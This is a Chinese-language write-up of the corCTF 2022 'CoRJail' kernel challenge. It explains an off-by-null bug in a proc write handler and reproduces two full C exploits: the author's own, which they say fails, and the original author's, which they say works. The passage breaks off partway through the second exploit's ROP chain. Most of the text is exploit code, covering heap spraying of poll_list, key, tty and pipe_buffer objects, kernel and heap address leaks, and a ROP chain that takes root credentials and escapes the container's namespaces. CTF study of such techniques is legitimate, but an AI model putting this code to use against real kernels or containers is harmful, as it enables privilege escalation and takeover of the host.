[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape

前言

题目来源:竞赛官网 – 建议这里下载,文件系统/带符号的 vmlinux 给了

参考

[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel – 原作者文章,poll_list 利用方式
corCTF-2022:Corjail-内核容器逃逸 – 对题目做了详细的解析

漏洞解析与利用

这里就直接对着源码看了,想分析题目的请阅读上述参考文章。

漏洞出现在 cormon_proc_write 函数中:

static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
{loff_t offset = *ppos;char *syscalls;size_t len;if (offset < 0)return -EINVAL;if (offset >= PAGE_SIZE || !count)return 0;len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);if (!syscalls){printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");return -ENOMEM;}if (copy_from_user(syscalls, ubuf, len)){printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");return -EFAULT;}syscalls[len] = '\x00';if (update_filter(syscalls)){kfree(syscalls);return -EINVAL;}kfree(syscalls);return count;
}

len = PAGE_SIZE 时,存在 off by null 漏洞,测试发现没有开 cg,所以利用方式很多,但是题目是在容器中并且限制了很多系统调用,比如 msgsnd 等。

这里笔者采用了两种利用方式,第一种就是原作者文章中提出的利用 poll_list 构造任意释放原语,然后利用该原语构造 UAF,详细见原文。这里给出笔者的 exp

这种方式感觉很不稳定,然后我的 exp 存在问题,打不通。但是原作者的 exp 是可以成功打通的。原作者的 exp 可以好好学习一下,里面有很多技巧去稳定堆喷

笔者 exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>#include <net/if.h>
#include <arpa/inet.h>struct rcu_head
{void *next;void *func;
};struct user_key_payload
{struct rcu_head rcu;unsigned short      datalen;char *data[];
};struct poll_list
{struct poll_list *next;int len;struct pollfd entries[];
};struct tty_file_private {size_t tty;size_t file;size_t next;size_t prev;
};int randint(int min, int max)
{return min + (rand() % (max - min));
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] %s\033[0m\n", msg);sleep(1);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}// #define DEBUG 1
#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif#define PAGE_SIZE 4096
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16// size 为预分配的对象大小
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
int fds[0x1000];struct t_args
{int id;int nfds;int timer;bool suspend;
};void assign_thread_to_core(int core_id)
{cpu_set_t mask;CPU_ZERO(&mask);CPU_SET(core_id, &mask);if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0){perror("[X] assign_thread_to_core_range()");exit(1);}
}void init_fd(int i)
{fds[i] = open("/etc/passwd", O_RDONLY);if (fds[i] < 1){perror("[X] init_fd()");exit(1);}
}void *alloc_poll_list(void *args)
{struct pollfd *pfds;int nfds, timer, id;bool suspend;id    = ((struct t_args *)args)->id;nfds  = ((struct t_args *)args)->nfds;timer = ((struct t_args *)args)->timer;suspend = ((struct t_args *)args)->suspend;pfds = calloc(nfds, sizeof(struct pollfd));for (int i = 0; i < nfds; i++){pfds[i].fd = fds[0];pfds[i].events = POLLERR;}assign_thread_to_core(0);pthread_mutex_lock(&mutex);poll_threads++;pthread_mutex_unlock(&mutex);debug("[Thread %d] Start polling...\n", id);int ret = poll(pfds, nfds, timer);debug("[Thread %d] Polling complete: %d!\n", id, ret);assign_thread_to_core(randint(1, 3));if (suspend){debug("[Thread %d] Suspending thread...\n", id);pthread_mutex_lock(&mutex);poll_threads--;pthread_mutex_unlock(&mutex);while (1) { };}}void create_poll_thread(int id, size_t size, int timer, bool suspend)
{struct t_args *args;args = calloc(1, sizeof(struct t_args));if (size > PAGE_SIZE)size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));args->id = id;args->nfds = NFDS(size);args->timer = timer;args->suspend = suspend;pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}void join_poll_threads(void)
{for (int i = 0; i < poll_threads; i++){pthread_join(poll_tid[i], NULL);open("/proc/self/stat", O_RDONLY);}poll_threads = 0;
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000
bool is_kernel_pointer(uint64_t addr)
{return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}bool is_heap_addr(size_t addr) {return addr >= 0xFFFF888000000000 && addr <= 0xFFFFF00000000000;
}bool is_heap_pointer(uint64_t addr)
{return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}int fd;
void off_by_null(){char buf[PAGE_SIZE] = { 0 };write(fd, buf, PAGE_SIZE);
}#define SPRAY_SEQ_F 2048
#define SPRAY_SEQ_S 128
#define SPRAY_SEQ (SPRAY_SEQ_F+SPRAY_SEQ_S)
#define SPRAY_KEY 199
#define SPRAY_TTY 256
#define SPRAY_PIPE 1024int seq_fd[SPRAY_SEQ];
int key_id[SPRAY_KEY];
int tty_fd[SPRAY_TTY];
int pipe_fd[SPRAY_PIPE][2];
size_t kbase, koffset;int main(int argc, char** argv, char** envp)
{bind_core(0);save_status();char buf[0x20000] = { 0 };fd = open("/proc_rw/cormon", O_RDWR);if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");init_fd(0);info("Saturating kmalloc-32 partial slabs...");for (int i = 0; i < SPRAY_SEQ_F; i++) {seq_fd[i] = open("/proc/self/stat", O_RDONLY);if (seq_fd[i] < 0)err_exit("FAILED to open /proc/self/stat at Saturating kmalloc-32 partial slabs");}info("Spraying user_key_payload in kmalloc-32...");for (int i = 0; i < SPRAY_KEY / 3; i++) {char value[100] = { 0 };char des[8] = { 0 };sprintf(des, "%d", i);setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);key_id[i] = key_alloc(des, value, 32-0x18);if (key_id[i] < 0) err_exit("FAILED to alloc user key");}int thread_nums = 22;info("Creating poll threads to spray poll_list chain...");for (int i = 0; i < thread_nums; i++) {create_poll_thread(i, 4096+24, 4000, false);}while (poll_threads != thread_nums) {}sleep(1);info("Spraying user_key_payload in kmalloc-32...");for (int i = SPRAY_KEY / 3; i < SPRAY_KEY; i++) {char value[32] = { 0 };char des[8] = { 0 };sprintf(des, "%d", i);setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);key_id[i] = key_alloc(des, value, 32-0x18);if (key_id[i] < 0) err_exit("FAILED to alloc user key");}info("Corrupting poll_list next pointer...");off_by_null();info("Triggering arbitrary free...");join_poll_threads();info("Overwriting user_key_payload.datalen by spraying seq_operations...");for (int i = 0; i < SPRAY_SEQ_S; i++) {seq_fd[SPRAY_SEQ_F+i] = open("/proc/self/stat", O_RDONLY);if (seq_fd[SPRAY_SEQ_F+i] < 0)err_exit("FAILED to open /proc/self/stat to spray seq_operations");}info("Leaking kernel addr...");int victim_key_i = -1;uint64_t proc_single_show = -1;for (int i = 0; i < SPRAY_KEY; i++) {if (key_read(key_id[i], buf, sizeof(buf)) > 32) {binary_dump("OOB READ DATA", buf, 0x20);victim_key_i = i;proc_single_show = *(uint64_t*)buf;koffset = proc_single_show - 0xffffffff813275c0;kbase = koffset + 0xffffffff81000000;hexx("victim_key_i", i);hexx("proc_single_show", proc_single_show);hexx("koffset", koffset);hexx("kbase", kbase);break;}}if (victim_key_i == -1) err_exit("FAILED to leak kernel addr");info("Freeing all user_key_payload...");for (int i = 0; i < SPRAY_KEY; i++) {if (i != victim_key_i) {key_revoke(key_id[i]);if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");}}//      info("Freeing partial seq_operations...");
//      for (int i = 0; i < SPRAY_SEQ_S; i += 2) {
//              close(seq_fd[SPRAY_SEQ_F+i]);
//      }sleep(1);info("Spraying tty_file_private / tty_sturct...");for (int i = 0; i < SPRAY_TTY; i++) {tty_fd[i] = open("/dev/ptmx", O_RDWR|O_NOCTTY);if (tty_fd[i] < 0) err_exit("FAILED to open /dev/ptmx");}info("Leak heap addr by OOB READ tty_file_private.tty_struct...");memset(buf, 0, sizeof(buf));int len = key_read(key_id[victim_key_i], buf, sizeof(buf));hexx("OOB READ len", len);struct tty_file_private* tfp;struct tty_file_private tfp_data;for (size_t i = 0; i < len; i += 8) {tfp = (struct tty_file_private*)(&buf[i]);if (is_heap_pointer(tfp->tty) && (((tfp->tty) & 0xff) == 0)) {if ((tfp->next == tfp->prev) && (tfp->next != 0)) {if (tfp->tty != tfp->file && tfp->tty != tfp->next) {binary_dump("tty_file_private", tfp, sizeof(struct tty_file_private));memcpy(&tfp_data, tfp, sizeof(struct tty_file_private));break;}}}tfp = NULL;}if (tfp == NULL) err_exit("FAILED to leak heap addr");uint64_t target_obj = tfp_data.tty;hexx("A kmalloc-1k obj addr", target_obj);//      info("Freeing the rest of seq_operations...");
//      for (int i = 1; i < SPRAY_SEQ_S; i += 2) {
//              close(seq_fd[SPRAY_SEQ_F+i]);
//      }info("Freeing all seq_operations...");for (int i = 0; i < SPRAY_SEQ_S; i++) {close(seq_fd[SPRAY_SEQ_F+i]);}sleep(1);thread_nums = 199;info("Creating poll threads to spray poll_list chain...");for (int i = 0; i < thread_nums; i++) {create_poll_thread(i, 24, 5000, false);}while (poll_threads != thread_nums) {}sleep(1);info("Freeing victim key...");key_revoke(key_id[victim_key_i]);if (key_unlink(key_id[victim_key_i]) < 0) err_exit("FAILED to key_unlink");info("Corrupting poll_list next pointer...");for (int i = 0; i < SPRAY_KEY - 1; i++) {char value[100] = { 0 };char des[100] = { 0 };*(uint64_t*)value = target_obj - 0x18;sprintf(des, "%d", i);setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);key_id[i] = key_alloc(des, value, 32-0x18);if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");}info("Freeing all tty_file_private / tty_struct...");for (int i = 0; i < SPRAY_TTY; i++) {close(tty_fd[i]);}/*      info("Spraying user_key_payload to occupy some kmalloc-1k objs...");for (int i = 0; i < SPRAY_KEY; i++) {char value[0x1000] = { 0 };char des[8] = { 0 };sprintf(des, "%d", i);key_id[i] = key_alloc(des, value, 1024-0x18);if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");}sleep(1);info("Freeing some user_key_payload to kmalloc-1k slab...");for (int i = 0; i < SPRAY_KEY; i += 2) {key_revoke(key_id[i]);if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");}
*/info("Spraying pipe_buffer to occupy target obj...");for (int i = 0; i < SPRAY_PIPE; i++) {if (pipe(pipe_fd[i]) < 0) err_exit("FAILED to spray pipe_buffer");write(pipe_fd[i][1], "Pwn", 3);}/*      info("Freeing the rest of user_key_payload to kmalloc-1k slab...");for (int i = 1; i < SPRAY_KEY; i += 2) {key_revoke(key_id[i]);if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");}
*/info("Triggering arbitrary free...");join_poll_threads();sleep(1);char* buff = (char *)calloc(1, 1024);// Stack pivot*(uint64_t *)&buff[0x10] = target_obj + 0x30;             // anon_pipe_buf_ops*(uint64_t *)&buff[0x38] = koffset + 0xffffffff81882840;  // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]*(uint64_t *)&buff[0x66] = koffset + 0xffffffff810007a9;  // pop rsp ; ret*(uint64_t *)&buff[0x00] = koffset + 0xffffffff813c6b78;  // add rsp, 0x78 ; ret// ROPuint64_t* rop = (uint64_t *)&buff[0x80];// creds = prepare_kernel_cred(0)*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret*rop ++= 0;                            // 0*rop ++= koffset + 0xffffffff810ebc90; // prepare_kernel_cred// commit_creds(creds)*rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0;                            // 0*rop ++= koffset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret*rop ++= koffset + 0xffffffff810eba40; // commit_creds// task = find_task_by_vpid(1)*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret*rop ++= 1;                            // pid*rop ++= koffset + 0xffffffff810e4fc0; // find_task_by_vpid// switch_task_namespaces(task, init_nsproxy)*rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0;                            // 0*rop ++= koffset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret*rop ++= koffset + 0xffffffff8100051c; // pop rsi ; ret*rop ++= koffset + 0xffffffff8245a720; // init_nsproxy;*rop ++= koffset + 0xffffffff810ea4e0; // switch_task_namespaces// new_fs = copy_fs_struct(init_fs)*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret*rop ++= koffset + 0xffffffff82589740; // init_fs;*rop ++= koffset + 0xffffffff812e7350; // copy_fs_struct;*rop ++= koffset + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret// current = find_task_by_vpid(getpid())*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret*rop ++= getpid();                     // pid*rop ++= koffset + 0xffffffff810e4fc0; // find_task_by_vpid// current->fs = new_fs*rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0x6e0;                        // current->fs*rop ++= koffset + 0xffffffff8102396f; // add rax, rcx ; ret*rop ++= koffset + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret*rop ++= 0;                            // rbx// kpti trampoline*rop ++= koffset + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22*rop ++= 0;*rop ++= 0;*rop ++= (uint64_t)&get_root_shell;*rop ++= user_cs;*rop ++= user_rflags;*rop ++= user_sp;*rop ++= user_ss;info("Freeing all user_key_payload...");for (int i = 0; i < SPRAY_KEY - 1; i++) {key_revoke(key_id[i]);if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");}sleep(1);info("Spray ROP chain...");for (int i = 0; i < 19; i++) {char des[100] = { 0 };sprintf(des, "%d", i);key_id[i] = key_alloc(des, buff, 1024-0x18);if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");}info("Hijacking control flow...");for (int i = 0; i < SPRAY_PIPE; i++) {close(pipe_fd[i][0]);close(pipe_fd[i][1]);}puts("EXP NERVER END!");return 0;
}

效果如下:根本打不通,还是太菜了,最后似乎无法成功拿到 target_object
在这里插入图片描述
原作者 exp:成功率还行,可以接收


#define _GNU_SOURCE#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>#include <net/if.h>
#include <arpa/inet.h>// #define DEBUG 1#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;uint64_t usr_cs, usr_ss, usr_rflags;
uint64_t proc_single_show;
uint64_t target_object;
uint64_t kernel_base;int pipes[0x1000][2];
int seq_ops[0x10000];
int ptmx[0x1000];
int fds[0x1000];
int keys[0x1000];
int corrupted_key;
int n_keys;
int fd;
int s;struct t_args
{int id;int nfds;int timer;bool suspend;
};struct rcu_head
{void *next;void *func;
};struct user_key_payload
{struct rcu_head rcu;unsigned short	datalen;char *data[];
};struct poll_list
{struct poll_list *next;int len;struct pollfd entries[];
};bool is_kernel_pointer(uint64_t addr)
{return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}bool is_heap_pointer(uint64_t addr)
{return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}void __pause(char *msg)
{printf("[-] Paused - %s\n", msg);getchar();
}void save_state()
{__asm__ __volatile__("movq %0, cs;""movq %1, ss;""pushfq;""popq %2;": "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags) : : "memory" );
}int randint(int min, int max)
{return min + (rand() % (max - min));
}void assign_to_core(int core_id)
{cpu_set_t mask;CPU_ZERO(&mask);CPU_SET(core_id, &mask);if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0){perror("[X] sched_setaffinity()");exit(1);}
}void assign_thread_to_core(int core_id)
{cpu_set_t mask;CPU_ZERO(&mask);CPU_SET(core_id, &mask);if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0){perror("[X] assign_thread_to_core_range()");exit(1);}
}void init_fd(int i)
{fds[i] = open("/etc/passwd", O_RDONLY);if (fds[i] < 1){perror("[X] init_fd()");exit(1);}
}void *alloc_poll_list(void *args)
{struct pollfd *pfds;int nfds, timer, id;bool suspend;id    = ((struct t_args *)args)->id;nfds  = ((struct t_args *)args)->nfds;timer = ((struct t_args *)args)->timer;suspend = ((struct t_args *)args)->suspend;pfds = calloc(nfds, sizeof(struct pollfd));for (int i = 0; i < nfds; i++){pfds[i].fd = fds[0];pfds[i].events = POLLERR;}assign_thread_to_core(0);pthread_mutex_lock(&mutex);poll_threads++;pthread_mutex_unlock(&mutex);debug("[Thread %d] Start polling...\n", id);int ret = poll(pfds, nfds, timer);debug("[Thread %d] Polling complete: %d!\n", id, ret);assign_thread_to_core(randint(1, 3));if (suspend){   debug("[Thread %d] Suspending thread...\n", id);pthread_mutex_lock(&mutex);poll_threads--;pthread_mutex_unlock(&mutex);while (1) { };}}void create_poll_thread(int id, size_t size, int timer, bool suspend)
{struct t_args *args;args = calloc(1, sizeof(struct t_args));if (size > PAGE_SIZE)size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));args->id = id;args->nfds = NFDS(size);args->timer = timer;args->suspend = suspend;pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}void join_poll_threads(void)
{for (int i = 0; i < poll_threads; i++){pthread_join(poll_tid[i], NULL);open("/proc/self/stat", O_RDONLY);}poll_threads = 0;
}int alloc_key(int id, char *buff, size_t size)
{char desc[256] = { 0 };char *payload;int key;size -= sizeof(struct user_key_payload);sprintf(desc, "payload_%d", id);payload = buff ? buff : calloc(1, size);if (!buff)memset(payload, id, size);    key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);if (key < 0){perror("[X] add_key()");return -1;}return key;
}void free_key(int i)
{keyctl_revoke(keys[i]);keyctl_unlink(keys[i], KEY_SPEC_PROCESS_KEYRING);n_keys--;
}void free_all_keys(bool skip_corrupted_key)
{for (int i = 0; i < n_keys; i++){   if (skip_corrupted_key && i == corrupted_key)continue;free_key(i);}sleep(1); // GC keys
}char *get_key(int i, size_t size)
{char *data;data = calloc(1, size);keyctl_read(keys[i], data, size);return data;
}void alloc_pipe_buff(int i)
{if (pipe(pipes[i]) < 0){perror("[X] alloc_pipe_buff()");return;}if (write(pipes[i][1], "XXXXX", 5) < 0){perror("[X] alloc_pipe_buff()");return;}
}void release_pipe_buff(int i)
{if (close(pipes[i][0]) < 0){perror("[X] release_pipe_buff()");return;}if (close(pipes[i][1]) < 0){perror("[X] release_pipe_buff()");return;}
}void alloc_tty(int i)
{ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);if (ptmx[i] < 0){perror("[X] alloc_tty()");exit(1);}
}void free_tty(int i)
{close(ptmx[i]);
}void alloc_seq_ops(int i)
{seq_ops[i] = open("/proc/self/stat", O_RDONLY);if (seq_ops[i] < 0){perror("[X] spray_seq_ops()");exit(1);}
}void free_seq_ops(int i)
{close(seq_ops[i]);
}int leak_kernel_pointer(void)
{uint64_t *leak;char *key;for (int i = 0; i < n_keys; i++){key = get_key(i, 0x10000);leak = (uint64_t *)key;if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0x5c0){corrupted_key = i;proc_single_show = *leak;kernel_base = proc_single_show - 0xffffffff813275c0;printf("[+] Corrupted key found: keys[%d]!\n", corrupted_key);printf("[+] Leaked proc_single_show address: 0x%llx\n", proc_single_show);printf("[+] Kernel base address: 0x%llx\n", kernel_base + 0xffffffff00000000);return 0;}}return -1;
}int leak_heap_pointer(int kid)
{uint64_t *leak;char *key;key = get_key(kid, 0x20000);leak = (uint64_t *)key;for (int i = 0; i < 0x20000/sizeof(uint64_t); i++){if (is_heap_pointer(leak[i]) && (leak[i] & 0xff) == 0x00){   if (leak[i + 2] == leak[i + 3] && leak[i + 2] != 0){target_object = leak[i];printf("[+] Leaked kmalloc-1024 object: 0x%llx\n", target_object);return 0;}}}return -1;
}bool check_root()
{int fd;if ((fd = open("/etc/shadow", O_RDONLY)) < 0)return false;close(fd);return true;
}void win(void)
{if (check_root()){puts("[+] We are Ro0ot!");char *args[] = { "/bin/bash", "-i", NULL };execve(args[0], args, NULL);}
}int main(int argc, char **argv)
{   char data[0x1000] = { 0 };char key[32] = { 0 };uint64_t *rop;void *stack;char *buff;assign_to_core(0);save_state();stack = mmap((void *)0xdead000, 0x10000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);fd = open("/proc_rw/cormon", O_RDWR);if (fd < 0){perror("[X] open()");return -1;}init_fd(0);puts("[*] Saturating kmalloc-32 partial slabs...");for (int i = 0; i < 2048; i++)alloc_seq_ops(i);puts("[*] Spraying user keys in kmalloc-32...");for (int i = 0; i < 72; i++){   setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);keys[i] = alloc_key(n_keys++, key, 32);}assign_to_core(randint(1, 3));puts("[*] Creating poll threads...");for (int i = 0; i < 14; i++)create_poll_thread(i, 4096 + 24, 3000, false);assign_to_core(0);while (poll_threads != 14) { };usleep(250000);puts("[*] Spraying more user keys in kmalloc-32...");for (int i = 72; i < MAX_KEYS; i++){setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);keys[i] = alloc_key(n_keys++, key, 32);}puts("[*] Corrupting poll_list next pointer...");write(fd, data, PAGE_SIZE);puts("[*] Triggering arbitrary free...");join_poll_threads();puts("[*] Overwriting user key size / Spraying seq_operations structures...");for (int i = 2048; i < 2048 + 128; i++)alloc_seq_ops(i);puts("[*] Leaking kernel pointer...");if (leak_kernel_pointer() < 0){puts("[X] Kernel pointer leak failed, try again...");exit(1);}puts("[*] Freeing user keys...");free_all_keys(true);puts("[*] Spraying tty_file_private / tty_struct structures...");for (int i = 0; i < 72; i++)alloc_tty(i);puts("[*] Leaking heap pointer...");if (leak_heap_pointer(corrupted_key) < 0){puts("[X] Heap pointer leak failed, try again...");exit(1);}puts("[*] Freeing seq_operation structures...");for (int i = 2048; i < 2048 + 128; i++)free_seq_ops(i);assign_to_core(randint(1, 3));puts("[*] Creating poll threads...");for (int i = 0; i < 192; i++)create_poll_thread(i, 24, 3000, true);assign_to_core(0);while (poll_threads != 192) { }; usleep(250000);puts("[*] Freeing corrupted key...");free_key(corrupted_key);sleep(1); // GC keyputs("[*] Overwriting poll_list next pointer...");*(uint64_t *)&data[0] = target_object - 0x18;for (int i = 0; i < MAX_KEYS; i++){setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);keys[i] = alloc_key(n_keys++, key, 32);}puts("[*] Freeing tty_struct structures...");for (int i = 0; i < 72; i++)free_tty(i);sleep(1); // GC TTYsputs("[*] Spraying pipe_buffer structures...");for (int i = 0; i < 1024; i++)alloc_pipe_buff(i);puts("[*] Triggering arbitrary free...");while (poll_threads != 0) { };buff = (char *)calloc(1, 1024);// Stack pivot*(uint64_t *)&buff[0x10] = target_object + 0x30;             // anon_pipe_buf_ops*(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]*(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret*(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret// ROProp = (uint64_t *)&buff[0x80];// creds = prepare_kernel_cred(0)*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret*rop ++= 0;                                // 0*rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred// commit_creds(creds)*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0;                                // 0*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret*rop ++= kernel_base + 0xffffffff810eba40; // commit_creds// task = find_task_by_vpid(1)*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret*rop ++= 1;                                // pid*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid// switch_task_namespaces(task, init_nsproxy)*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0;                                // 0*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret*rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret*rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;*rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces// new_fs = copy_fs_struct(init_fs)*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret*rop ++= kernel_base + 0xffffffff82589740; // init_fs;*rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;*rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret// current = find_task_by_vpid(getpid())*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret*rop ++= getpid();                         // pid*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid// current->fs = new_fs*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0x6e0;                            // current->fs*rop ++= kernel_base + 